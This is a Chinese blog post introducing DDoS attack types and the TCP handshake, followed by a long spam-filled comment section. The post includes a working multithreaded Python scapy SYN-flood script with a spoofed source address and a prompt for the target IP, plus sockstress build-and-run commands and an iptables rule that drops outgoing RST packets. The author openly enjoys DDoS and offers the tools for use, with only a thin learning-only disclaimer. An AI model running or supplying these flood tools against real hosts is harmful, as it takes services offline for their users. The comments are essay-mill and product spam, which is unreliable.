WARNING

本文提供的脚本和思路仅为是为了学习用途,如造成了相关的危害,使用者自行承担相关的法律责任.

DDOS攻击

各大电商平台刚刚经受了最大了一波DDOS攻击，DDOS攻击作为最古老的攻击方式之一，即使到现在威力也是非常强劲，所以个人十分喜爱DDOS这种攻击方式。

DDOS分类

1、syn-flood
   tcp/udp

2、sock-stress

   sock-stress攻击正好与Syn-Flood攻击原理相悖，它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击，而且与Syn-Flood不同它
   并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应，而是直接耗尽服务端的内存、CPU等资源让受害者宕机，属于非对称的资
   源消耗攻击，这种攻击方式的危害性极大，而且一旦遭受分布式攻击是几乎不能被抵御的.

3、cc-flood

   攻击者借助代理服务器生成指向受害主机的合法请求，实现DDOS和伪装就叫：CC(ChallengeCollapsar)。CC主要是用来攻击页面的。
   大家都有这样的经历，就是在访问论坛时，如果这个论坛比较大，访问的人比较多，打开页面的速度会比较慢，访问的人越多，论坛的页面越多，
   数据库压力就越大，被访问的频率也越高，占用的系统资源也就相当可观,所以“双十一”的攻击方式属于CC这个范畴.

4、mid-flood

   中间件/基础框架的DDOS,这种DDOS主要是因为第三方框架/基本服务漏洞造成的，比如struts2、mysql，具体CVE我忘记了,自行google

攻击的过程如下图：

imgsimgs
imgsimgs

三次握手

在介绍具体的方式之前，简述一下三次握手.

imgs

1.第一次握手：Client将标志位(也就是flags位)SYN置为1，随机产生一个值seq=J，并将该数据包发送给Server，Client进入SYN_SENT
状态，等待Server确认.

2.第二次握手：Server收到数据包后由标志位SYN=1知道Client请求建立连接，Server将标志位SYN和ACK都置为1，ack=J+1，随机产生一
个值seq=K，并将该数据包发送给Client以确认连接请求，Server进入SYN_RCVD状态.

3.第三次握手：Client收到确认后，检查ack是否为J+1，ACK是否为1，如果正确则将标志位ACK置为1，ack=K+1，并将该数据发给Server,
Server检查ack是否为K+1，ACK是否为1，如果正确则连接建立成功，Client和Server进入ESTABLISHED状态，完成三次握手，随
后Client与Server之间可以开始传输数据了.

syn-flood攻击原理

1.攻击者先向目标机发送SYN包，请求建立TCP连接.
2.目标机接收到SYN包之后，便会进入SYN_RCVD状态，然后又给攻击者回一个SYN-ACK包.
3.如果攻击者发送SYN包时用的是伪造IP地址，那么目标机发送的SYN-ACK就很可能不可达，得不到ACK来建立完整的三次握手连接，这时
目标机就会保持SYN_RCVD状态直到timeout。想象一下，如果我们一直发送SYN包请求连接，但是又不和目标机器建立完整的TCP连接.
4.如果攻击者用的是本主机真实的IP地址的话，那么攻击者接受到ACK之后正常情况下会回复一个RST包(为什么不是ACK呢，因为攻击时
我们是用pyhton的scapy库来发包的，本地网卡并不认为自己发送了SYN包，莫名奇妙接收到一个SYN-ACK包当然会回复RST包.所以需要
drop掉RST包

syn-flood-code-依赖

sudo pip install scapy
sudo pip install pcapy

 git clone git clone https://github.com/dugsong/libdnet.git   
 cd libdnet
 ./configure && make
 cd python/
 python setup.py install

syn-flood python:

from scapy.all import * 
import threading
import random

def Syn_flood(target_ip, target_port):
    while True:
        port = random.randint(0,10000)
        send(IP(src="1.1.1.1", dst=target_ip)/TCP(dport=target_port, sport=port),verbose=0)

def main(target_ip, target_port, threads):
    print "BEGIN TO ATTACK TARGET"
    for i in range(0, threads):
        t = threading.Thread(target=Syn_flood, args=(target_ip, target_port))
        t.start()

if __name__== "__main__": 
    target_ip = raw_input("Please input the target_ip: ")
    target_port = int(raw_input("Please input the target_port: "))
    threads = int(raw_input("Please input the threads: "))
    main(target_ip, target_port, threads)

sock-stress

 1.首先，攻击者大量请求建立三次握手连接.
 2.成功建立ESTABLISHED之后，攻击者会将数据包中window的值置为0（window的意思代表client这边一次可以接受的数据大小，置为0之后
 表示client没有window来接受server发来的数据，然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信），然而
 攻击者可不会维持什么连接，他只会不断的请求TCP连接耗尽server的资源.
 3.当server这端维持连接达到一定数量之后，内存、CPU甚至是SWAP分区都会被耗尽，系统命令不能正常执行.

sock-stress-code

 git clone https://github.com/defuse/sockstress
 cd sockstress
 make    
 iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xx.xx.xx.xx -j DROP
 ./sockstress xx.xx.xx.xx:80 eth0 -p payloads/http -d 100

END

阿里云也挡不住~因为压根就没有使用分布式

imgs

250 对 “浅谈DDOS(一)”的想法；

  2. На сайте https://greencond.ru/ приобретите воздушные фильтры для вентиляции, а также вентиляционное оборудование, системы вентиляции и многое другое. На портале ознакомьтесь с хитами, товарами, которые советует администрация сайта, новинками, а также акциями, которые проходят в настоящий момент. Перед вами огромный выбор товаров по самым привлекательным расценкам и созданных с использованием инновационных технологий. Вся продукция сертифицированная, оригинальная. Сделайте приобретение прямо сейчас.

    回复

  8. NEED PAPER WRITING HELP?

    Common application essay word length .

    Order NOW!!! ==> https://essaypro.co

    Essay on biographical sources
    Evolution of women in workforce + sociology essay
    College papers reports essays book fair

    Top case study ghostwriters services for mba
    Write a greek myth ks2
    Need vs greed essay

    Essay police corruption causes
    Buy zoology personal statement
    23 march pakistan day essay in urdu

    Where i lived and what i lived for analysis essay
    Fce writing essay example
    Best analysis essay proofreading websites ca
    Reflective essay intro
    19016ce
    Ozymandias essay free
    Resume implementation analyst
    Best masters essay ghostwriting service ca

    HGtYUPlKMnGFW
    EssayPro

    Common application essay word length
    essay pro
    How to write an academic essay sample
    Cover letter for bursary application examples
    Top university essay proofreading websites uk

    Professional problem solving editor services ca
    Edexcel gcse statistics coursework guide
    A guide to the critical reading of scientific research papers
    How to structure an unseen poetry essay a level
    Sat essay score 10

    tghuTRTjigFIr6F

    Common application essay word length
    Top paper proofreading service for masters
    Sample cover letter for resume general counsel position
    Sample auditor job cover letter
    Professional writers website usa

    http://payanytime.com/__media__/js/netsoltrademark.php?d=papershelps.org
    http://wheretraveller.mobi/__media__/js/netsoltrademark.php?d=papershelps.org
    http://argonaut.bz/__media__/js/netsoltrademark.php?d=buyessayreviews.com%2Fessaytyper-com-review%2F

    Thesis questionnaires samples
    Academic writing conjunctions
    Writing law school essays

    usa essay
    domyessay review

    https://pesasamerica.org/blog/index.php?entryid=40527
    https://onlinetraining.nmcadv.org/blog/index.php?entryid=149811

    The sky is gray essay
    Review essays on pakistan
    Sample cover letter for first year law student

    http://www.growth-marketing.com.ar/eventos/fox-emmy/?unapproved=481470&moderation-hash=49e60aff8249345369f1503dae8fd1f0#comment-481470
    https://narenjestanhouse.com/product/persian-qashqai-kilim-rug-100-x150-cm/#comment-4264
    http://www.hetleuksteplekje.nl/viewtopic.php?p=1176826#p1176826

    Common application essay word length
    studybay
    http://www.jennysugar.com/i-corsi-per-primo-trimestre-2020/#comment-253961
    https://www.georgieroseinteriordesign.co.uk/wallpaper-is-back/?unapproved=16080&moderation-hash=64489271983fc2f042ce9d13222f844f#comment-16080
    http://bilalkat.com/2022/11/16/how-to-make-money-on-amazon-4-expert-approved-strategies-that-are-working-now/?unapproved=30057&moderation-hash=214850506825a53fbe946cb6fd6ea8d9#comment-30057

    The scarlet letter essay on revenge
    Top dissertation introduction editor site gb
    Example of a comparison and contrast essay
    Pay for cheap persuasive essay on donald trump

    Common application essay word length
    essay writing services us
    The pearl essay summary
    Deductive essays
    Alt binaries resume groups
    Sat essay practice question

    Sample thesis of classroom management
    Essays hamlet’s antic disposition
    Math resources

    Common application essay word length
    Cheap critical analysis essay writers websites
    Romeo and juliet movie 1996 essay
    Top university papers examples
    Cbs photo essay
    Cheap cover letter writing site for phd
    Upsc essay topics mrunal

    回复

  83. Thank you. A lot of material!
    [url=https://theessayswriters.com/]ai essay writer[/url] write this essay for me [url=https://bestcheapessaywriters.com/]professional essay writers[/url] write my paper for me free

    回复

  140. Мы максимально подробно консультируем своих клиентов — по телефону или в наших магазинах в Минске – frol.permraion.ru и честно подходим к ценообразованию.

    回复

  159. Компания ВолгаСталь предлагает качественное строительство любых видов заборов и ограждений в Самаре и по всей Самарской области – многолетний опыт монтажа металлоконструкций позволяет быстро и качественно монтировать заборы под ключ http://волгасталь63.рф/?p=3&cat=16 а наличие собственного производства – гарантировать разумные цены.

    回复

  181. “Обзоры игр”:
    Хотите узнать, стоит ли вложить свое время и деньги в новую игру? Наши эксперты провели глубокий анализ и представляют вам свежие обзоры игр. Получите объективную оценку геймплея, графики, сюжета и других ключевых аспектов, чтобы принять информированное решение о своем следующем игровом приключении.

    [url=https://techgamehq.ru/]Культура и искусство[/url]

    Обновления и патчи

    https://techgamehq.ru/

    回复

  219. foods that lower cholesterol
    Explore a delectable world of foods that lower cholesterol and take charge of your cardiovascular health. From succulent berries to nutrient-rich greens, uncover a diverse array of options that can effectively contribute to reducing cholesterol levels, all while savoring the flavors of a heart-healthy lifestyle.

    Delve into the science and flavor of foods that lower cholesterol, as this article guides you through a culinary journey aimed at promoting optimal heart wellness. Learn how incorporating these cholesterol-conscious choices, such as fiber-packed vegetables and antioxidant-rich fruits, can have a positive impact on managing cholesterol levels and overall cardiovascular health.

    回复

  242. Быстровозводимые строения – это новейшие конструкции, которые отличаются громадной скоростью возведения и гибкостью. Они представляют собой постройки, образующиеся из эскизно изготовленных составляющих или же модулей, которые имеют возможность быть быстро установлены в участке развития.
    Каркасные здания из сэндвич панелей отличаются податливостью и адаптируемостью, что разрешает легко преобразовывать а также модифицировать их в соответствии с нуждами заказчика. Это экономически продуктивное и экологически стойкое решение, которое в последние лета приобрело широкое распространение.

    回复

发表回复

您的电子邮箱地址不会被公开。